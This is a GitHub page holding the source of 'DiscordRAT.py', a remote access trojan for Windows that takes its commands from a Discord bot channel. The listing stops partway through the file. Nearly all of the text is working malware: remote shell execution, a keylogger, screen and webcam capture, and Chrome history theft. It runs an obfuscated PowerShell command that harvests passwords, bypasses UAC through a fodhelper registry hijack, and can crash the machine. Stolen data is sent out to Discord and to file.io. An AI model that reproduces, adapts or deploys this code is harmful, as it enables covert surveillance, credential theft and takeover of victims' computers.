-
Notifications
You must be signed in to change notification settings - Fork 52
/
Copy pathDiscordRAT.py
1312 lines (1262 loc) · 64.2 KB
/
DiscordRAT.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
import winreg
import ctypes
import sys
import os
import ssl
import random
import threading
import time
if (sys.argv[0].endswith("exe")):
import cv2
import subprocess
import discord
from comtypes import CLSCTX_ALL
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
from discord.ext import commands
from ctypes import *
import asyncio
import discord
from discord import utils
token = ''
global isexe
isexe=False
if (sys.argv[0].endswith("exe")):
isexe=True
global appdata
global temp
appdata = os.getenv('APPDATA')
temp= os.getenv('temp')
client = discord.Client()
bot = commands.Bot(command_prefix='!')
ssl._create_default_https_context = ssl._create_unverified_context
helpmenu = """
Availaible commands are :
--> !message = Show a message box displaying your text / Syntax = "!message example"
--> !shell = Execute a shell command /Syntax = "!shell whoami"
--> !windowstart = Start logging current user window (logging is shown in the bot activity)
--> !windowstop = Stop logging current user window
--> !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test"
--> !admincheck = Check if program has admin privileges
--> !sysinfo = Gives info about infected computer
--> !history = Get chrome browser history
--> !download = Download a file from infected computer
--> !upload = Upload file to the infected computer / Syntax = "!upload file.png" (with attachment)
--> !cd = Changes directory
--> !delete = deletes a file / Syntax = "!delete /path to/the/file.txt"
--> !write = Type your desired sentence on computer / Type "enter" to press the enter button on the computer
--> !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment)
--> !clipboard = Retrieve infected computer clipboard content
--> !geolocate = Geolocate computer using latitude and longitude of the ip adress with google map / Warning : Geolocating IP adresses is not very precise
--> !startkeylogger = Starts a keylogger
--> !stopkeylogger = Stops keylogger
--> !dumpkeylogger = Dumps the keylog
--> !volumemax = Put volume to max
--> !volumezero = Put volume at 0
--> !idletime = Get the idle time of user's on target computer
--> !listprocess = Get all process
--> !blockinput = Blocks user's keyboard and mouse / Warning : Admin rights are required
--> !unblockinput = Unblocks user's keyboard and mouse / Warning : Admin rights are required
--> !screenshot = Get the screenshot of the user's current screen
--> !exit = Exit program
--> !kill = Kill a session or all sessions / Syntax = "!kill session-3" or "!kill all"
--> !uacbypass = attempt to bypass uac to gain admin by using fod helper
--> !passwords = grab all passwords
--> !streamscreen = stream screen by sending multiple pictures
--> !stopscreen = stop screen stream
--> !shutdown = shutdown computer
--> !restart = restart computer
--> !logoff = log off current user
--> !bluescreen = BlueScreen PC
--> !displaydir = display all items in current dir
--> !currentdir = display the current dir
--> !dateandtime = display system date and time
--> !prockill = kill a process by name / syntax = "!kill process.exe"
--> !recscreen = record screen for certain amount of time / syntax = "!recscreen 10"
--> !recaudio = record audio for certain amount of time / syntax = "!recaudio 10"
--> !disableantivirus = permanently disable windows defender(requires admin)
--> !disablefirewall = disable windows firewall (requires admin)
--> !audio = play a audio file on the target computer(.wav only) / Syntax = "!audio" (with attachment)
--> !selfdestruct = delete all traces that this program was on the target PC
--> !windowspass = attempt to phish password by poping up a password dialog
--> !displayoff = turn off the monitor(Admin rights are required)
--> !displayon = turn on the monitors(Admin rights are required)
--> !hide = hide the file by changing the attribute to hidden
--> !unhide = unhide the file the removing the attribute to make it unhidden
--> !ejectcd = eject the cd drive on computer
--> !retractcd = retract the cd drive on the computer
--> !critproc = make program a critical process. meaning if its closed the computer will bluescreen(Admin rights are required)
--> !uncritproc = if the process is a critical process it will no longer be a critical process meaning it can be closed without bluescreening(Admin rights are required)
--> !website = open a website on the infected computer / syntax = "!website google.com" or "!website www.google.com"
--> !distaskmgr = disable task manager(Admin rights are required)
--> !enbtaskmgr = enable task manager(if disabled)(Admin rights are required)
--> !getwifipass = get all the wifi passwords on the current device(Admin rights are required)
--> !startup = add file to startup(when computer go on this file starts)(Admin rights are required)
--> !getdiscordtokens = get discord token ONLY! (also decrypts them)
"""
if not (sys.argv[0].endswith("exe")):
helpmenu+='--> !reccam = record camera for certain amount of time / syntax = "!reccam 10"'
helpmenu+='\n--> !streamwebcam = streams webcam by sending multiple pictures\n--> !stopwebcam = stop webcam stream'
helpmenu+='\n--> !webcampic = Take a picture from the webcam'
async def activity(client):
import time
import win32gui
while True:
global stop_threads
if stop_threads:
break
current_window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
window_displayer = discord.Game(f"Visiting: {current_window}")
await client.change_presence(status=discord.Status.online, activity=window_displayer)
time.sleep(1)
def between_callback(client):
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(activity(client))
loop.close()
@client.event
async def on_ready():
import platform
import re
import urllib.request
import json
with urllib.request.urlopen("https://geolocation-db.com/json") as url:
data = json.loads(url.read().decode())
flag = data['country_code']
ip = data['IPv4']
import os
total = []
global number
number = 1
global channel_name
channel_name = None
for x in client.get_all_channels():
total.append(x.name)
for y in range(len(total)):
if total[y].startswith("session"):
import re
result = [e for e in re.split("[^0-9]", total[y]) if e != '']
biggest = max(map(int, result))
number = biggest + 1
else:
pass
channel_name = f"session-{number}"
newchannel = await client.guilds[0].create_text_channel(channel_name)
channel_ = discord.utils.get(client.get_all_channels(), name=channel_name)
channel = client.get_channel(channel_.id)
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
value1 = f"@here :white_check_mark: New session opened {channel_name} | {platform.system()} {platform.release()} | :flag_{flag.lower()}: | User : {os.getlogin()} | IP: {ip}"
if is_admin == True:
await channel.send(f'{value1} | admin!')
elif is_admin == False:
await channel.send(value1)
game = discord.Game(f"Window logging stopped")
await client.change_presence(status=discord.Status.online, activity=game)
def volumeup():
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
if volume.GetMute() == 1:
volume.SetMute(0, None)
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[1], None)
def volumedown():
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[0], None)
def critproc():
import ctypes
ctypes.windll.ntdll.RtlAdjustPrivilege(20, 1, 0, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.RtlSetProcessIsCritical(1, 0, 0) == 0
def uncritproc():
import ctypes
ctypes.windll.ntdll.RtlSetProcessIsCritical(0, 0, 0) == 0
@client.event
async def on_message(message):
if message.channel.name != channel_name:
pass
else:
total = []
for x in client.get_all_channels():
total.append(x.name)
if message.content.startswith("!kill"):
try:
if message.content[6:] == "all":
for y in range(len(total)):
if "session" in total[y]:
channel_to_delete = discord.utils.get(client.get_all_channels(), name=total[y])
await channel_to_delete.delete()
else:
pass
else:
channel_to_delete = discord.utils.get(client.get_all_channels(), name=message.content[6:])
await channel_to_delete.delete()
await message.channel.send(f"[*] {message.content[6:]} killed.")
except:
await message.channel.send(f"[!] {message.content[6:]} is invalid,please enter a valid session name")
if message.content == "!dumpkeylogger":
import os
temp = os.getenv("TEMP")
file_keys = temp + r"\key_log.txt"
file = discord.File(file_keys, filename="key_log.txt")
await message.channel.send("[*] Command successfuly executed", file=file)
os.remove(file_keys)
if message.content == "!exit":
import sys
uncritproc()
sys.exit()
if message.content == "!windowstart":
import threading
global stop_threads
stop_threads = False
global _thread
_thread = threading.Thread(target=between_callback, args=(client,))
_thread.start()
await message.channel.send("[*] Window logging for this session started")
if message.content == "!windowstop":
stop_threads = True
await message.channel.send("[*] Window logging for this session stopped")
game = discord.Game(f"Window logging stopped")
await client.change_presence(status=discord.Status.online, activity=game)
if message.content == "!screenshot":
import os
from mss import mss
with mss() as sct:
sct.shot(output=os.path.join(os.getenv('TEMP') + r"\monitor.png"))
path = (os.getenv('TEMP')) + r"\monitor.png"
file = discord.File((path), filename="monitor.png")
await message.channel.send("[*] Command successfuly executed", file=file)
os.remove(path)
if message.content == "!volumemax":
volumeup()
await message.channel.send("[*] Volume put to 100%")
if message.content == "!volumezero":
volumedown()
await message.channel.send("[*] Volume put to 0%")
if message.content == "!webcampic":
import os
import time
import cv2
temp = (os.getenv('TEMP'))
camera_port = 0
camera = cv2.VideoCapture(camera_port)
#time.sleep(0.1)
return_value, image = camera.read()
cv2.imwrite(temp + r"\temp.png", image)
del(camera)
file = discord.File(temp + r"\temp.png", filename="temp.png")
await message.channel.send("[*] Command successfuly executed", file=file)
if message.content.startswith("!message"):
import ctypes
import time
MB_YESNO = 0x04
MB_HELP = 0x4000
ICON_STOP = 0x10
def mess():
ctypes.windll.user32.MessageBoxW(0, message.content[8:], "Error", MB_HELP | MB_YESNO | ICON_STOP) #Show message box
import threading
messa = threading.Thread(target=mess)
messa._running = True
messa.daemon = True
messa.start()
import win32con
import win32gui
def get_all_hwnd(hwnd,mouse):
def winEnumHandler(hwnd, ctx):
if win32gui.GetWindowText(hwnd) == "Error":
win32gui.ShowWindow(hwnd, win32con.SW_RESTORE)
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW + win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
return None
else:
pass
if win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled(hwnd) and win32gui.IsWindowVisible(hwnd):
win32gui.EnumWindows(winEnumHandler,None)
win32gui.EnumWindows(get_all_hwnd, 0)
if message.content.startswith("!wallpaper"):
import ctypes
import os
path = os.path.join(os.getenv('TEMP') + r"\temp.jpg")
await message.attachments[0].save(path)
ctypes.windll.user32.SystemParametersInfoW(20, 0, path , 0)
await message.channel.send("[*] Command successfuly executed")
if message.content.startswith("!upload"):
await message.attachments[0].save(message.content[8:])
await message.channel.send("[*] Command successfuly executed")
if message.content.startswith("!shell"):
global status
status = None
import subprocess
import os
instruction = message.content[7:]
def shell(command):
output = subprocess.run(command, stdout=subprocess.PIPE,shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
global status
status = "ok"
return output.stdout.decode('CP437').strip()
out = shell(instruction)
print(out)
print(status)
if status:
numb = len(out)
if numb < 1:
await message.channel.send("[*] Command not recognized or no output was obtained")
elif numb > 1990:
temp = (os.getenv('TEMP'))
f1 = open(temp + r"\output.txt", 'a')
f1.write(out)
f1.close()
file = discord.File(temp + r"\output.txt", filename="output.txt")
await message.channel.send("[*] Command successfuly executed", file=file)
os.remove(temp + r"\output.txt")
else:
await message.channel.send("[*] Command successfuly executed : " + out)
else:
await message.channel.send("[*] Command not recognized or no output was obtained")
status = None
if message.content.startswith("!download"):
import subprocess
import os
filename=message.content[10:]
check2 = os.stat(filename).st_size
if check2 > 7340032:
import requests
await message.channel.send("this may take some time becuase it is over 8 MB. please wait")
response = requests.post('https://file.io/', files={"file": open(filename, "rb")}).json()["link"]
await message.channel.send("download link: " + response)
await message.channel.send("[*] Command successfuly executed")
else:
file = discord.File(message.content[10:], filename=message.content[10:])
await message.channel.send("[*] Command successfuly executed", file=file)
if message.content.startswith("!cd"):
import os
os.chdir(message.content[4:])
await message.channel.send("[*] Command successfuly executed")
if message.content == "!help":
import os
temp = (os.getenv('TEMP'))
f5 = open(temp + r"\helpmenu.txt", 'a')
f5.write(str(helpmenu))
f5.close()
temp = (os.getenv('TEMP'))
file = discord.File(temp + r"\helpmenu.txt", filename="helpmenu.txt")
await message.channel.send("[*] Command successfuly executed", file=file)
os.remove(temp + r"\helpmenu.txt")
if message.content.startswith("!write"):
import pyautogui
if message.content[7:] == "enter":
pyautogui.press("enter")
else:
pyautogui.typewrite(message.content[7:])
if message.content == "!history":
import sqlite3
import os
import time
import shutil
temp = (os.getenv('TEMP'))
Username = (os.getenv('USERNAME'))
shutil.rmtree(temp + r"\history12", ignore_errors=True)
os.mkdir(temp + r"\history12")
path_org = r""" "C:\Users\{}\AppData\Local\Google\Chrome\User Data\Default\History" """.format(Username)
path_new = temp + r"\history12"
copy_me_to_here = (("copy" + path_org + "\"{}\"" ).format(path_new))
os.system(copy_me_to_here)
con = sqlite3.connect(path_new + r"\history")
cursor = con.cursor()
cursor.execute("SELECT url FROM urls")
urls = cursor.fetchall()
for x in urls:
done = ("".join(x))
f4 = open(temp + r"\history12" + r"\history.txt", 'a')
f4.write(str(done))
f4.write(str("\n"))
f4.close()
con.close()
file = discord.File(temp + r"\history12" + r"\history.txt", filename="history.txt")
await message.channel.send("[*] Command successfuly executed", file=file)
def deleteme() :
path = "rmdir " + temp + r"\history12" + " /s /q"
os.system(path)
deleteme()
if message.content == "!clipboard":
import ctypes
import os
CF_TEXT = 1
kernel32 = ctypes.windll.kernel32
kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
kernel32.GlobalLock.restype = ctypes.c_void_p
kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
user32 = ctypes.windll.user32
user32.GetClipboardData.restype = ctypes.c_void_p
user32.OpenClipboard(0)
if user32.IsClipboardFormatAvailable(CF_TEXT):
data = user32.GetClipboardData(CF_TEXT)
data_locked = kernel32.GlobalLock(data)
text = ctypes.c_char_p(data_locked)
value = text.value
kernel32.GlobalUnlock(data_locked)
body = value.decode()
user32.CloseClipboard()
await message.channel.send("[*] Command successfuly executed : " + "Clipboard content is : " + str(body))
if message.content == "!sysinfo":
import platform
jak = str(platform.uname())
intro = jak[12:]
from requests import get
ip = get('https://api.ipify.org').text
pp = "IP Address = " + ip
await message.channel.send("[*] Command successfuly executed : " + intro + pp)
if message.content == "!geolocate":
import urllib.request
import json
with urllib.request.urlopen("https://geolocation-db.com/json") as url:
data = json.loads(url.read().decode())
link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}"
await message.channel.send("[*] Command successfuly executed : " + link)
if message.content == "!admincheck":
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
await message.channel.send("[*] Congrats you're admin")
elif is_admin == False:
await message.channel.send("[!] Sorry, you're not admin")
if message.content == "!uacbypass":
import winreg
import ctypes
import sys
import os
import time
import inspect
def isAdmin():
try:
is_admin = (os.getuid() == 0)
except AttributeError:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
return is_admin
if isAdmin():
await message.channel.send("Your already admin!")
else:
class disable_fsr():
disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
def __enter__(self):
self.old_value = ctypes.c_long()
self.success = self.disable(ctypes.byref(self.old_value))
def __exit__(self, type, value, traceback):
if self.success:
self.revert(self.old_value)
await message.channel.send("attempting to get admin!")
isexe=False
if (sys.argv[0].endswith("exe")):
isexe=True
if not isexe:
test_str = sys.argv[0]
current_dir = inspect.getframeinfo(inspect.currentframe()).filename
cmd2 = current_dir
create_reg_path = """ powershell New-Item "HKCU:\SOFTWARE\Classes\ms-settings\Shell\Open\command" -Force """
os.system(create_reg_path)
create_trigger_reg_key = """ powershell New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "hi" -Force """
os.system(create_trigger_reg_key)
create_payload_reg_key = """powershell Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "`(Default`)" -Value "'cmd /c start python """ + '""' + '"' + '"' + cmd2 + '""' + '"' + '"\'"' + """ -Force"""
os.system(create_payload_reg_key)
else:
test_str = sys.argv[0]
current_dir = test_str
cmd2 = current_dir
create_reg_path = """ powershell New-Item "HKCU:\SOFTWARE\Classes\ms-settings\Shell\Open\command" -Force """
os.system(create_reg_path)
create_trigger_reg_key = """ powershell New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "hi" -Force """
os.system(create_trigger_reg_key)
create_payload_reg_key = """powershell Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "`(Default`)" -Value "'cmd /c start """ + '""' + '"' + '"' + cmd2 + '""' + '"' + '"\'"' + """ -Force"""
os.system(create_payload_reg_key)
with disable_fsr():
os.system("fodhelper.exe")
time.sleep(2)
remove_reg = """ powershell Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force """
os.system(remove_reg)
if message.content == "!startkeylogger":
import base64
import os
from pynput.keyboard import Key, Listener
import logging
temp = os.getenv("TEMP")
log_dir = temp
logging.basicConfig(filename=(log_dir + r"\key_log.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def keylog():
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
import threading
global test
test = threading.Thread(target=keylog)
test._running = True
test.daemon = True
test.start()
await message.channel.send("[*] Keylogger successfuly started")
if message.content == "!stopkeylogger":
import os
test._running = False
await message.channel.send("[*] Keylogger successfuly stopped")
if message.content == "!idletime":
class LASTINPUTINFO(Structure):
_fields_ = [
('cbSize', c_uint),
('dwTime', c_int),
]
def get_idle_duration():
lastInputInfo = LASTINPUTINFO()
lastInputInfo.cbSize = sizeof(lastInputInfo)
if windll.user32.GetLastInputInfo(byref(lastInputInfo)):
millis = windll.kernel32.GetTickCount() - lastInputInfo.dwTime
return millis / 1000.0
else:
return 0
duration = get_idle_duration()
await message.channel.send(f'User idle for {duration:.2f} seconds.')
if message.content.startswith("!voice"):
volumeup()
import win32com.client as wincl
speak = wincl.Dispatch("SAPI.SpVoice")
speak.Speak(message.content[7:])
await message.channel.send("[*] Command successfuly executed")
if message.content.startswith("!blockinput"):
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
ok = windll.user32.BlockInput(True)
await message.channel.send("[*] Command successfuly executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")
if message.content.startswith("!unblockinput"):
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
ok = windll.user32.BlockInput(False)
await message.channel.send("[*] Command successfuly executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")
if message.content == "!passwords" :
import subprocess
import os
temp= os.getenv('temp')
def shell(command):
output = subprocess.run(command, stdout=subprocess.PIPE,shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
global status
status = "ok"
return output.stdout.decode('CP437').strip()
passwords = shell("Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIASgBHAGwAdQBjADMAUgBoAGIAbQBOAGwASQBEADAAZwBXADAARgBqAGQARwBsADIAWQBYAFIAdgBjAGwAMAA2AE8AawBOAHkAWgBXAEYAMABaAFUAbAB1AGMAMwBSAGgAYgBtAE4AbABLAEYAdABUAGUAWABOADAAWgBXADAAdQBVAG0AVgBtAGIARwBWAGoAZABHAGwAdgBiAGkANQBCAGMAMwBOAGwAYgBXAEoAcwBlAFYAMAA2AE8AawB4AHYAWQBXAFEAbwBLAEUANQBsAGQAeQAxAFAAWQBtAHAAbABZADMAUQBnAFUAMwBsAHoAZABHAFYAdABMAGsANQBsAGQAQwA1AFgAWgBXAEoARABiAEcAbABsAGIAbgBRAHAATABrAFIAdgBkADIANQBzAGIAMgBGAGsAUgBHAEYAMABZAFMAZwBpAGEASABSADAAYwBIAE0ANgBMAHkAOQB5AFkAWABjAHUAWgAyAGwAMABhAEgAVgBpAGQAWABOAGwAYwBtAE4AdgBiAG4AUgBsAGIAbgBRAHUAWQAyADkAdABMADAAdwB4AFoAMgBoADAAVABUAFIAdQBMADAAUgA1AGIAbQBGAHQAYQBXAE4AVABkAEcAVgBoAGIARwBWAHkATAAyADEAaABhAFcANAB2AFIARQB4AE0ATAAxAEIAaABjADMATgAzAGIAMwBKAGsAVQAzAFIAbABZAFcAeABsAGMAaQA1AGsAYgBHAHcAaQBLAFMAawB1AFIAMgBWADAAVgBIAGwAdwBaAFMAZwBpAFUARwBGAHoAYwAzAGQAdgBjAG0AUgBUAGQARwBWAGgAYgBHAFYAeQBMAGwATgAwAFoAVwBGAHMAWgBYAEkAaQBLAFMAawBOAEMAaQBSAHcAWQBYAE4AegBkADIAOQB5AFoASABNAGcAUABTAEEAawBhAFcANQB6AGQARwBGAHUAWQAyAFUAdQBSADIAVgAwAFYASABsAHcAWgBTAGcAcABMAGsAZABsAGQARQAxAGwAZABHAGgAdgBaAEMAZwBpAFUAbgBWAHUASQBpAGsAdQBTAFcANQAyAGIAMgB0AGwASwBDAFIAcABiAG4ATgAwAFkAVwA1AGoAWgBTAHcAawBiAG4AVgBzAGIAQwBrAE4AQwBsAGQAeQBhAFgAUgBsAEwAVQBoAHYAYwAzAFEAZwBKAEgAQgBoAGMAMwBOADMAYgAzAEoAawBjAHcAMABLACIAfQAnACAAfAAgAEMAbwBuAHYAZQByAHQARgByAG8AbQAtAEoAcwBvAG4AKQAuAFMAYwByAGkAcAB0ACkAKQAgAHwAIABpAGUAeAA=")
f4 = open(temp + r"\passwords.txt", 'w')
f4.write(str(passwords))
f4.close()
file = discord.File(temp + r"\passwords.txt", filename="passwords.txt")
await message.channel.send("[*] Command successfuly executed", file=file)
os.remove(temp + r"\passwords.txt")
if message.content == "!streamwebcam" :
await message.channel.send("[*] Command successfuly executed")
import os
import time
import cv2
import threading
import sys
import pathlib
temp = (os.getenv('TEMP'))
camera_port = 0
camera = cv2.VideoCapture(camera_port)
running = message.content
file = temp + r"\hobo\hello.txt"
if os.path.isfile(file):
delelelee = "del " + file + r" /f"
os.system(delelelee)
os.system(r"RMDIR %temp%\hobo /s /q")
while True:
return_value, image = camera.read()
cv2.imwrite(temp + r"\temp.png", image)
boom = discord.File(temp + r"\temp.png", filename="temp.png")
kool = await message.channel.send(file=boom)
temp = (os.getenv('TEMP'))
file = temp + r"\hobo\hello.txt"
if os.path.isfile(file):
del camera
break
else:
continue
if message.content == "!stopwebcam":
import os
os.system(r"mkdir %temp%\hobo")
os.system(r"echo hello>%temp%\hobo\hello.txt")
os.system(r"del %temp\temp.png /F")
if message.content == "!streamscreen" :
await message.channel.send("[*] Command successfuly executed")
import os
from mss import mss
temp = (os.getenv('TEMP'))
hellos = temp + r"\hobos\hellos.txt"
if os.path.isfile(hellos):
os.system(r"del %temp%\hobos\hellos.txt /f")
os.system(r"RMDIR %temp%\hobos /s /q")
else:
pass
while True:
with mss() as sct:
sct.shot(output=os.path.join(os.getenv('TEMP') + r"\monitor.png"))
path = (os.getenv('TEMP')) + r"\monitor.png"
file = discord.File((path), filename="monitor.png")
await message.channel.send(file=file)
temp = (os.getenv('TEMP'))
hellos = temp + r"\hobos\hellos.txt"
if os.path.isfile(hellos):
break
else:
continue
if message.content == "!stopscreen":
import os
os.system(r"mkdir %temp%\hobos")
os.system(r"echo hello>%temp%\hobos\hellos.txt")
os.system(r"del %temp%\monitor.png /F")
if message.content == "!shutdown":
import os
uncritproc()
os.system("shutdown /p")
await message.channel.send("[*] Command successfuly executed")
if message.content == "!restart":
import os
uncritproc()
os.system("shutdown /r /t 00")
await message.channel.send("[*] Command successfuly executed")
if message.content == "!logoff":
import os
uncritproc()
os.system("shutdown /l /f")
await message.channel.send("[*] Command successfuly executed")
if message.content == "!bluescreen":
import ctypes
import ctypes.wintypes
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, ctypes.byref(ctypes.wintypes.DWORD()))
if message.content == "!currentdir":
import subprocess as sp
output = sp.getoutput('cd')
await message.channel.send("[*] Command successfuly executed")
await message.channel.send("output is : " + output)
if message.content == "!displaydir":
import subprocess as sp
import os
import subprocess
output = sp.getoutput('dir')
if output:
result = output
numb = len(result)
if numb < 1:
await message.channel.send("[*] Command not recognized or no output was obtained")
elif numb > 1990:
temp = (os.getenv('TEMP'))
if os.path.isfile(temp + r"\output22.txt"):
os.system(r"del %temp%\output22.txt /f")
f1 = open(temp + r"\output22.txt", 'a')
f1.write(result)
f1.close()
file = discord.File(temp + r"\output22.txt", filename="output22.txt")
await message.channel.send("[*] Command successfuly executed", file=file)
else:
await message.channel.send("[*] Command successfuly executed : " + result)
if message.content == "!dateandtime":
import subprocess as sp
output = sp.getoutput(r'echo time = %time% date = %date%')
await message.channel.send("[*] Command successfuly executed")
await message.channel.send("output is : " + output)
if message.content == "!listprocess":
import os
import subprocess
if 1==1:
result = subprocess.getoutput("tasklist")
numb = len(result)
if numb < 1:
await message.channel.send("[*] Command not recognized or no output was obtained")
elif numb > 1990:
temp = (os.getenv('TEMP'))
if os.path.isfile(temp + r"\output.txt"):
os.system(r"del %temp%\output.txt /f")
f1 = open(temp + r"\output.txt", 'a')
f1.write(result)
f1.close()
file = discord.File(temp + r"\output.txt", filename="output.txt")
await message.channel.send("[*] Command successfuly executed", file=file)
else:
await message.channel.send("[*] Command successfuly executed : " + result)
if message.content.startswith("!prockill"):
import os
proc = message.content[10:]
kilproc = r"taskkill /IM" + ' "' + proc + '" ' + r"/f"
import time
import os
import subprocess
os.system(kilproc)
import subprocess
time.sleep(2)
process_name = proc
call = 'TASKLIST', '/FI', 'imagename eq %s' % process_name
output = subprocess.check_output(call).decode()
last_line = output.strip().split('\r\n')[-1]
